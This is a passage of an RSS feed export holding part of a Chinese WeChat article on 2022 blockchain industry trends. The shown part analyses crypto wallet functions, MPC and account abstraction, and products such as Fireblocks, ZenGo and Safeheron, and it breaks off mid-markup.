LOOK THE BEST</span></p></section></section></section></section><section style="line-height: 2em;margin-top: 16px;"><section style="display: none;line-height: 1.75em;"><br/></section></section><section style="display: none;margin-top: 16px;"><br/></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247502536">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5bd274c4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247502536%26idx%3D1%26sn%3D3855c1c3bb19d7bfb9334c964adc15a7%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 16 Mar 2023 13:30:00 +0800</pubDate>
    </item>
    <item>
      <title>全球区块链产业全景与趋势（下）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247499838&amp;idx=1&amp;sn=5b2d9de2790a5670288c98e543201ce2</link>
      <description>本文旨在对2022年全球区块链行业的市场变化情况、融资状况、未来发展方向等做出大致的展现与比对。</description>
      <content:encoded><![CDATA[<p>
原创 <span>零鉴科技</span> <span>2023-02-03 16:15</span> <span style="display: inline-block;">湖南</span>
</p>

<p>本文旨在对2022年全球区块链行业的市场变化情况、融资状况、未来发展方向等做出大致的展现与比对。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=72e7bf4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0lDNicr8Sswn4LPswFR65F4q8sCsNDVyDWtFu2UZp6B1UnHwPbvsvSzQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="white-space: normal;text-align: center;margin: 24px 8px 16px;" data-mpa-powered-by="yiban.io"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.66015625" data-s="300,640" style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=833069ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf5Zh7T13QShUrCVnFdYQK0NWGhlNTEC0zAnian3m2hicUdfzIJEUoB5jEmyBZRibjRNj0aNFaNfc8uA%2F640%3Fwx_fmt%3Dpng"/><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;"><em><span style="color: rgb(165, 165, 165);font-family: Optima-Regular, PingFangTC-light;letter-spacing: 1px;">⬆️全文思维导图</span></em></span></p><p style="margin: 24px 8px 16px;white-space: normal;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">文章旨在对2022年全球区块链行业的市场变化情况、融资状况、未来发展方向等做出大致的展现与比对。</span></p><h1 style="margin: 24px 8px 16px;white-space: normal;line-height: 2em;"><span style="letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">由于篇幅较长，分上下两篇发布。</span><span style="font-size: 14px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">本</span><span style="letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">文为下篇，涵盖第五章至第八章内容。</span></h1><h1 style="margin: 24px 8px 16px;white-space: normal;line-height: 2em;"><span style="letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">上篇传送链接<img data-ratio="1" style="height: 20px !important;max-height: 20px !important;width: 20px !important;" data-w="64" src="https://wechat2rss.xlab.app/img-proxy/?k=7b4f6250&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fb96CibCt70iaajvl7fD4ZCicMcjhXMp1v6UYhfOp924bYQUqYCVgoT9tY9zibIyUB4m4udOibRHibe4ZiboyZXLGXa16A%2F640%3Fwx_fmt%3Dpng"/><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247499681&amp;idx=1&amp;sn=0b1461f02c3aeaf11f7a6ce183051706&amp;chksm=c286e0e7f5f169f1dab173c405762bd959eff33a1e1003859955339407789acede899786c5f6&amp;scene=21#wechat_redirect" textvalue="区块链行业发展与趋势（上）" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2">区块链行业发展与趋势（上）</a></span></h1><h1 style="margin: 24px 8px 16px;font-size: 10.5pt;white-space: normal;font-family: Calibri;color: rgb(0, 0, 0);line-height: 2em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);">前方多图预警，建议收藏起来慢慢看！</span></h1><p style="margin: 24px 8px 16px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 1px;color: rgb(84, 84, 84);"><br/></span></p><section class="mp_common_sticker_iframe_wrp" style="margin-bottom: 16px;margin-top: 24px;"><mp-common-sticker class="js_uneditable custom_select_card mp_common_sticker_iframe" data-pluginname="emotion" data-id="0fe4d3484923c5efb99b88ecad70c207" data-type="0" data-emoji_url="https://mmbiz.qpic.cn/mmbiz_gif/ibmNJuSwREEKTo1Z1zwSibtwbQtZh9EIAlqSbu6zMEibs0n94OVAniaFDB4cqRiaWlkodMEpRvbSYKlOr7HbibVAuZSg/0" data-md5="0fe4d3484923c5efb99b88ecad70c207" data-inserted="0" data-weui-theme="light" data-is_ban="0" data-loading="0"></mp-common-sticker></section><p style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><br mpa-from-tpl="t"/></span></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="padding:1px 5px;font-size:14px;white-space:normal;" mpa-from-tpl="t"><h2 style="border-left: 5px solid rgb(1, 1, 1);font-weight: bold;line-height: 32px;color: rgb(1, 1, 1);padding-right: 10px;padding-left: 10px;margin: 5px;border-top-color: rgb(1, 1, 1);border-bottom-color: rgb(1, 1, 1);border-right-color: rgb(1, 1, 1);"><p style="border-color: rgb(1, 1, 1);margin: 24px 8px 16px;"><span style="color: rgb(0, 0, 0);font-size: 20px;"><strong mpa-from-tpl="t">第五章    基础设施</strong></span></p></h2></section></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="85855" style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: center;margin: 24px 8px 16px;"><section style="border-top: 2px solid;border-bottom: 2px solid;padding-top: 4px;padding-right: 10px;padding-bottom: 4px;display: inline-block;" mpa-from-tpl="t"><section style="display: inline-block;float: left;width:60px;background-color: rgb(254,254,254);margin-top:-8px;" mpa-from-tpl="t"><section style="display: table;width: 100%;color: inherit;border-color: rgb(72, 192, 163);" data-width="100%" mpa-from-tpl="t"><section style="display: table-cell;line-height:1em;" mpa-from-tpl="t"><em style="color: #000000;font-size: 42px;" data-original-title="" title="">1</em></section></section></section><section style="color: rgb(72, 192, 163);float: left;" mpa-from-tpl="t"><span style="color: rgb(0, 0, 0);font-size: 18px;letter-spacing: 0.5px;">钱包</span></section></section></section></section></section><h1 style="margin-right: 1em;margin-left: 1em;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"></h1><h3 style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><strong><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">一、现有钱包的功能及扩展</span></strong></h3><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">从宏观视角而言，钱包功能可抽象成三种类型：</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);text-decoration: underline;"><strong>1. 流量/资金入口</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在加密世界中，交易平台是最大的流量集散地和 Token 交易场景，在 NFT 勃兴后，NFT 交易平台有望成为第二个 CEX 角色。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">从数据来看，头部公链上每天有 250 万个钱包处于活跃状态，BNB Chain、Solana、Polygon 和 Ethereum 占 80% 以上。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">但是从 CEX 的总账户数量来看，目前交易平台积攒了 9000 万个活跃地址，是链上地址的 36 倍，而进一步将口径放大至 Web 2 世界，Visa、MasterCard、Apple Pay 等主要账号类型均上十亿、甚至数十亿。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">高情商的说法是链上钱包正在发展初期，低情商的说法是去中心化仍旧遥遥无期。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);text-decoration: underline;"><strong>2. Dapp Store/Connect/Swap</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">目前的钱包主要功能并非在于「资产管理」，至少资管只针对机构、DAO 才有实际意义，个人用户使用钱包的目的在于「交互」Dapp。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">从这个角度又可细分为连接和竞价排名两种模式，链接模式以 Metamask 为最典型代表，其产品模式可概括为激活、交互、签名三步，至于链接的是何种类型的 Dapp、公链均支持用户自定义，从这个角度而言，Metamask 也是一种多链钱包，比如其支持 BNB Chain 等用户自定义链。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">而 Dapp Store 展示、排名模式，以 Bitkeep 最为典型，其直接在产品内进行 Dapp 展示及推广，以及直接的上币、上 NFT 等重运营模式，意在将「用户行为变现」，这是在 Web3 时代无法数据变现后的变通之举，流量生意永不眠，只是路径发生改变。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Swap 功能是目前钱包最直接的流量变现模式，相较于 Dapp 展示更为直接，更为贴近用户侧，比如 Metamask 唯一的直接利润来源便是内置的 Metamask Swap 功能，但是这建立在其 3000 万活跃用户的基础上，很难被其他钱包所仿效。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);text-decoration: underline;"><strong>3. 钱包功能的扩展</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">在以上功能的基础上，钱包在 2021 年开始逐渐和更多功能模式进行结合，典型如 DID、SBT、NFT 展示等更为与个人特征相关的功能拓展上。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">本质上而言，钱包是账户的「容器」，而去中心化很难进行前端的 KYC、AML 等复杂措施，非托管 C 端钱包在技术上也无法真正控制用户类型，而地址行为数据便成为勾勒该用户的触手。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">当然，在目前阶段，此类功能仍较为前沿，落地较为困难，但是钱包确实个链上身份识别的好入口，尤其是在隐私保护日渐重要的当下。</span></section><h3 style="margin: 24px 8px 16px;break-after: avoid;font-family: Calibri;font-size: 15pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);"><strong>二、钱包的发展方向</strong></span></h3><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">智能合约多链多签钱包，可以将其解构为如下的等式：</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);"><strong>智能合约多链多签钱包=易用+安全 </strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);"><strong>易用+安全=AA+MPC+EVM 多链 </strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">AA 指账户抽象，主要在以太坊上进行探索，但得益于 EVM 兼容链以及跨链桥的存在，我们可以将其视为未来的发展趋势。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">而从更复杂的功能实现角度而言，钱包未来的形态是个多变量的演化过程，如何在 MPC 等技术、易用和安全等体验积累中实现智能合约多链多签钱包，是个非常困难的过程。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">单纯谈论 MPC 并不困难，但从技术原理到市场竞争还存在一个漫长的产品迭代过程，就好比，我们都知道有以太坊的 Layer 2 一定是在 ZK 系列中诞生，但究竟是哪款产品取得最终胜利，并不是一个当下就可断言的过程。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">安全多方计算（Secure Multi-Party Computation）的主要是针对在无可信第三方的情况下，如何安全地计算一个约定函数的问题。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">安全多方计算通常缩写为 SMPC 或者 MPC。基于安全多方计算的多方签名技术，从始至终，单点私钥都未出现。通过多个私钥分片，不同参与方在签名时通过 MPC 协议计算出最终签名，且此签名能通过对应的单个公钥的验签。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(0, 122, 170);"><strong>主要产品有面向 B 端用户的 Fireblocks、面向 C 端用户的 ZenGo、以及将为 Metamask 提供安全服务的中间件安全鹭。</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);text-decoration: underline;"><strong>Fireblocks</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Fireblocks 为 1300 家大型机构提供数字资产托管平台，包括 MPC 钱包、Token 发行/管理，以及对 DeFi 的访问。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">它的客户包括银行、交易平台、借贷机构、对冲基金、做市商和其 他机构。可提供私钥，完成退出机制。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Fireblocks 的客户之一 Revolut(估值 55 亿美元，是最大的金融科技公司之一) 正在使用 Fireblocks 的 MPC 为全球 1300 万零售客户引入加密服务。该基础设施用于为数字资产转账提供安全的支付轨道。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">通过 MPC 钱包，Revolut 可以增加涉及加密货币的产品线和面向零售的功能。Fireblocks 为 1300 家大型机构提供数字资产托管平台，包括 MPC 钱包、Token 发行/管 理，以及对 DeFi 的访问。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">它的客户包括银行、交易平台、借贷机构、对冲基金、做市商和其 他机构。可提供私钥，完成退出机制。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);text-decoration: underline;"><strong>ZenGo</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">Zengo 是一款相对成熟的、基于 MPC 技术、无私钥、EOA 账户钱包产品，最新一轮融资 2000 万美元，投资方有 Insight Partners 和三星等。曾获得三星的领投让 Zengo 有机会获得三星手机的巨大渠道优势。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">创建账户时，ZenGo 创建两个密钥份额，一个存储在你的移动 设备上，另一个存储在 ZenGo 服务器上。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">关于钱包退出机制，其解决方案是设计了对应了私钥恢复程序，委托给可信第三方保管，一旦 Zengo 产品无法继续提供服务，第三方会核实后公开私钥恢复程序，用户在客户端即可创建出私钥，进行导出备份。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);text-decoration: underline;"><strong>Safeheron</strong></span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">已经和 Metamask 达成合作，将为其提供整体 MPC 解决方案，目前产品套件包含 :</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">1. MPC Wallet APP，客户内部可以多人协同管理数字资产；</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">2. MPC Wallet API, 支持客户编写程序实现自动化的签署交易，无需担忧私钥泄露；</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">3. MPC Web3 浏览器插件，支持客户通过多人审核的方式访问 Web3 协议。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">从这个角度而言，技术的大致勾勒，而产品的快速迭代，以及响应市场的需求速度才是解决问题的关键，这是个运营大于技术的持续过程。</span></section><section style="margin: 24px 8px 16px;font-family: Calibri;font-size: 10.5pt;color: rgb(0, 0, 0);white-space: normal;line-height: 2em;"><span style="font-size: 16px;letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;color: rgb(84, 84, 84);">但这并不说技术本身不重要，而是在强调技术是第一步，市场才是检验技术适用性的最终裁判。</span></section><section style="margin: 24px 8px 16px;white-space: normal;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Helvetica 